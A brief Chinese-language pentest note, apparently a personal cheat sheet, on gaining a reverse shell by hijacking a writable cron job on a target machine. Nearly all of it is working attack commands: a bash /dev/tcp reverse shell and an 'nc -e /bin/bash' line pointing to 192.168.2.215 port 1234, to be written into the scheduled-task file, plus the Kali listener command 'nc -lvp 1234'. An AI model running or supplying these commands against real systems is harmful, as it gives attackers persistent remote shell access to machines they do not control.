定时任务反弹shell

目标机器上面有定时任务，还有可写权限，在文件里面输入：

bash -i >& /dev/tcp/192.168.2.215/1234 0>&1 2>&1
nc -e /bin/bash 192.168.2.215 1234

输入完，kali开启监听：

nc -lvp 1234